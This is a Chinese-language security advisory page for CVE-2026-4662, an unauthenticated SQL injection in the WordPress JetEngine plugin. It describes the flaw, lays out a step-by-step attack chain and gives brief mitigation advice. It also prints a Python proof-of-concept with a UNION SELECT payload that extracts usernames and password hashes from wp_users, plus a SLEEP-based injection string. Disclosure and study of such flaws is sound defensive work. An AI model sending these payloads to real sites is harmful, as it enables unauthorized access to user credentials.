IPBUF安全漏洞报告
English
CVE-2026-4662 CVSS 7.5 高危

CVE-2026-4662 WordPress JetEngine插件SQL注入漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-4662
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress JetEngine Plugin

相关标签

SQL注入WordPressJetEngineCVE-2026-4662无需认证数据泄露

漏洞概述

WordPress JetEngine插件3.8.6.1及之前版本存在SQL注入漏洞。由于`listing_load_more`动作未对`filtered_query`参数进行HMAC验证,且`prepare_where_clause`方法未清理`compare`操作符,未经认证的攻击者可利用此漏洞构造恶意SQL语句,从数据库中窃取敏感信息。

技术细节

该漏洞核心在于JetEngine插件对参数验证的不严格及SQL拼接的不规范。首先,`listing_load_more` AJAX处理程序虽然使用了HMAC签名机制保护参数,但关键的`filtered_query`参数被意外排除在验证范围之外,导致攻击者可以篡改该数据而不被服务器拒绝。其次,在SQL查询构建阶段,`prepare_where_clause()`方法直接获取用户输入的`compare`字段值并将其拼接到SQL WHERE子句中,缺乏对特殊字符或SQL关键字的转义和白名单校验。攻击者可以构造包含恶意SQL代码的`compare`值(例如`' OR SLEEP(5)--`),将其注入到原本的查询语句中。由于无需身份认证(PR:N),攻击者可直接向`/wp-admin/admin-ajax.php`发送POST请求触发漏洞,执行任意SQL查询以提取用户凭证或其他敏感数据。

攻击链分析

STEP 1
侦察
识别使用JetEngine插件且启用了Listing Grid和Load More功能的WordPress站点。
STEP 2
构造载荷
攻击者构造POST请求,目标为`/wp-admin/admin-ajax.php`,Action为`listing_load_more`。在`filtered_query`参数中嵌入恶意SQL代码,利用`compare`字段未过滤的缺陷。
STEP 3
发送请求
向目标发送无需认证的恶意请求。由于`filtered_query`未进行HMAC签名校验,服务器接受该请求。
STEP 4
执行注入
服务器端`prepare_where_clause()`方法将恶意的`compare`值拼接到SQL语句中并执行,导致数据库信息泄露或被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Vulnerable payload demonstrating the SQL injection # The 'compare' field is not sanitized in prepare_where_clause() payload = { "action": "listing_load_more", "listing_id": 1, "filtered_query": { "where": [ { "field": "ID", "compare": "= 1 UNION SELECT 1, user_login, user_pass, 4, 5, 6 FROM wp_users-- -" } ] } } try: response = requests.post(url, data=payload) print(f"Status Code: {response.status_code}") print("Response:") print(response.text) except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")

影响范围

WordPress JetEngine Plugin <= 3.8.6.1

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用JetEngine插件的“Load More”功能,或者通过Web应用防火墙(WAF)拦截包含`listing_load_more`且携带异常`filtered_query`结构的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表